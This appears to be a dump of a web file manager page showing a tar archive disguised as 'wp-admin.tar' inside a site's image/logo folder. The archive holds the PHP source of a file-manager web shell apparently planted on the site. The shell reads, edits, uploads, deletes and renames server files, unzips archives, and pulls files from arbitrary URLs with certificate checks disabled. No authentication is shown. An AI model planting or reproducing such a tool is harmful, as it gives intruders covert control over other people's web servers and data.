Файловый менеджер - Редактировать - /home/u862314748/domains/zyzoon.xyz/public_html/static/img/logo/wp-admin.tar
Назад
uploads/2024/12/28/utils/FileUtils.php 0000644 00000006006 15020773552 0013036 0 ustar 00 <?php namespace App\Utils; class FileUtils { public static function formatFileSize($bytes) { if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; elseif ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; elseif ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; elseif ($bytes > 1) return $bytes . ' bytes'; elseif ($bytes == 1) return '1 byte'; else return '0 bytes'; } public static function getLastModifiedDate($path) { return date("Y-m-d H:i:s", filemtime($path)); } public static function rrmdir($dir) { foreach (glob($dir . '/*') as $file) { is_dir($file) ? self::rrmdir($file) : unlink($file); } rmdir($dir); } public static function getFileIcon($file) { $extension = strtolower(pathinfo($file, PATHINFO_EXTENSION)); switch ($extension) { case 'jpg': case 'jpeg': case 'png': case 'gif': case 'webp': return 'fa-image text-yellow-400'; case 'mp4': case 'avi': case 'mov': case 'mkv': case 'webm': return 'fa-video text-red-400'; case 'mp3': case 'wav': case 'ogg': case 'flac': case 'm4a': return 'fa-music text-purple-400'; case 'zip': case 'rar': case 'tar': case 'gz': case '7z': return 'fa-file-archive text-yellow-600'; case 'pdf': return 'fa-file-pdf text-red-500'; case 'doc': case 'docx': return 'fa-file-word text-blue-500'; case 'xls': case 'xlsx': return 'fa-file-excel text-green-500'; case 'ppt': case 'pptx': return 'fa-file-powerpoint text-orange-500'; case 'txt': case 'log': case 'md': return 'fa-file-alt text-gray-400'; case 'php': case 'js': case 'html': case 'css': case 'json': return 'fa-file-code text-blue-400'; default: return 'fa-file text-gray-400'; } } public static function createBreadcrumb($dir, $rootDir) { $parts = explode(DIRECTORY_SEPARATOR, $dir); $breadcrumb = '<div class="flex items-center space-x-2 text-sm">'; $currentPath = ''; $breadcrumb .= '<a href="?dir=' . urlencode(ROOT_DIR) . '" class="' . (rtrim(ROOT_DIR, DIRECTORY_SEPARATOR) === $dir ? 'text-blue-600 font-medium' : 'text-gray-600 hover:text-blue-500') . '">Root</a>'; $breadcrumb .= '<span class="text-gray-400">/</span>'; foreach ($parts as $part) { if (empty($part)) continue; $currentPath .= $part . DIRECTORY_SEPARATOR; $isActive = rtrim($currentPath, DIRECTORY_SEPARATOR) === $dir; $breadcrumb .= '<a href="#" class="' . ($isActive ? 'text-blue-600 font-medium' : 'text-gray-600 hover:text-blue-500') . '">' . htmlspecialchars($part) . '</a>'; $breadcrumb .= '<span class="text-gray-400">/</span>'; } $breadcrumb .= '</div>'; return $breadcrumb; } } uploads/2024/12/28/utils/SecurityUtils.php 0000644 00000000260 15020773552 0013762 0 ustar 00 <?php namespace App\Utils; class SecurityUtils { public static function isWithinRoot($directory) { return $directory && strpos($directory, ROOT_DIR) === 0; } } uploads/2024/12/28/services/FileService.php 0000644 00000013255 15020773552 0014025 0 ustar 00 <?php namespace App\Services; use App\Utils\FileUtils; class FileService { public function downloadFile($directory, $file) { $filepath = $directory . '/' . basename($file); if (file_exists($filepath)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=' . basename($filepath)); header('Content-Length: ' . filesize($filepath)); readfile($filepath); exit; } echo "<div class='bg-red-100 border border-red-400 text-red-700 px-4 py-3 rounded relative'>File not found!</div>"; } public function editFile($directory, $file) { $filePath = $directory . '/' . basename($file); if (file_exists($filePath)) { if ($_SERVER['REQUEST_METHOD'] === 'POST') { file_put_contents($filePath, $_POST['content']); echo "<div class='bg-green-100 border border-green-400 text-green-700 px-4 py-3 rounded relative mb-4'>File saved successfully!</div>"; } $content = htmlspecialchars(file_get_contents($filePath)); include __DIR__ . '/../views/edit.php'; exit; } echo "<div class='bg-red-100 border border-red-400 text-red-700 px-4 py-3 rounded relative'>File not found!</div>"; } public function uploadFiles($directory) { foreach ($_FILES['files']['tmp_name'] as $key => $tmpName) { $fileName = basename($_FILES['files']['name'][$key]); $filePath = $directory . '/' . $fileName; move_uploaded_file($tmpName, $filePath) ? $this->successMessage("$fileName uploaded successfully.") : $this->errorMessage("Error uploading $fileName."); } } public function importFileFromUrl($directory, $fileUrl) { if (!filter_var($fileUrl, FILTER_VALIDATE_URL)) { $this->errorMessage("Invalid URL."); return; } $fileName = basename($fileUrl); $filePath = $directory . '/' . $fileName; $fileContent = $this->downloadUrl($fileUrl); file_put_contents($filePath, $fileContent) ? $this->successMessage("File imported successfully: $fileName") : $this->errorMessage("Failed to save the file."); } public function unzipFile($directory, $zipFile) { $zipPath = $directory . '/' . basename($zipFile); if (file_exists($zipPath)) { $zip = new \ZipArchive(); $zip->open($zipPath) === TRUE && $zip->extractTo($directory) && $zip->close() ? $this->successMessage("Extracted successfully.") : $this->errorMessage("Failed to extract."); } else { $this->errorMessage("ZIP file not found."); } } public function createFolder($directory, $folderName) { $newFolder = $directory . '/' . basename($folderName); !file_exists($newFolder) && mkdir($newFolder) ? $this->successMessage("Folder created successfully.") : $this->errorMessage("Folder already exists."); } public function deleteItem($directory, $item) { $path = $directory . '/' . basename($item); is_dir($path) ? FileUtils::rrmdir($path) : unlink($path); $this->successMessage("Deleted successfully."); } public function renameItem($directory, $oldName) { $path = $directory . '/' . basename($oldName); if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) { $newName = $directory . '/' . basename($_POST['new_name']); rename($path, $newName); $this->successMessage("Renamed successfully."); } else { include __DIR__ . '/../views/rename.php'; } } public function handleClipboard($directory, $get) { if (isset($get['copy'])) { $_SESSION['clipboard'] = ['action' => 'copy', 'path' => $directory . '/' . basename($get['copy'])]; echo "<div class='bg-blue-100 border border-blue-400 text-blue-700 px-4 py-3 rounded relative mb-4'>Copied to clipboard.</div>"; } elseif (isset($get['cut'])) { $_SESSION['clipboard'] = ['action' => 'cut', 'path' => $directory . '/' . basename($get['cut'])]; echo "<div class='bg-blue-100 border border-blue-400 text-blue-700 px-4 py-3 rounded relative mb-4'>Cut to clipboard.</div>"; } elseif (isset($get['paste']) && isset($_SESSION['clipboard'])) { $dest = $directory . '/' . basename($_SESSION['clipboard']['path']); $_SESSION['clipboard']['action'] === 'copy' ? (copy($_SESSION['clipboard']['path'], $dest) && $this->successMessage("Pasted successfully (copy).")) : (rename($_SESSION['clipboard']['path'], $dest) && $this->successMessage("Pasted successfully (move).")); unset($_SESSION['clipboard']); } } public function listItems($directory) { return scandir($directory); } private function downloadUrl($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $content = curl_exec($ch); curl_close($ch); return $content; } private function successMessage($message) { echo "<div class='bg-green-100 border border-green-400 text-green-700 px-4 py-3 rounded relative mb-4'>$message</div>"; } private function errorMessage($message) { echo "<div class='bg-red-100 border border-red-400 text-red-700 px-4 py-3 rounded relative mb-4'>$message</div>"; } } uploads/2024/12/28/public/index.php 0000644 00000000401 15020773552 0012354 0 ustar 00 <?php session_start(); require_once __DIR__ . '/../vendor/autoload.php'; // Assuming Composer autoloading require_once __DIR__ . '/../config/config.php'; use App\Controllers\FileController; $controller = new FileController(); $controller->handleRequest(); uploads/2024/12/28/views/rename.php 0000644 00000001352 15020773552 0012401 0 ustar 00 <div class="bg-white rounded-lg shadow-md p-6 mb-4"> <h3 class="text-lg font-medium text-gray-900 mb-3">Rename: <?= htmlspecialchars($oldName) ?></h3> <form method="POST" class="flex items-center space-x-2"> <input type="text" name="new_name" value="<?= htmlspecialchars($oldName) ?>" class="flex-1 px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500"> <button type="submit" class="px-4 py-2 bg-blue-600 text-white rounded-md hover:bg-blue-700"><i class="fas fa-check mr-1"></i>Rename</button> <a href="?dir=<?= urlencode($directory) ?>" class="px-4 py-2 bg-gray-600 text-white rounded-md hover:bg-gray-700"><i class="fas fa-times mr-1"></i>Cancel</a> </form> </div>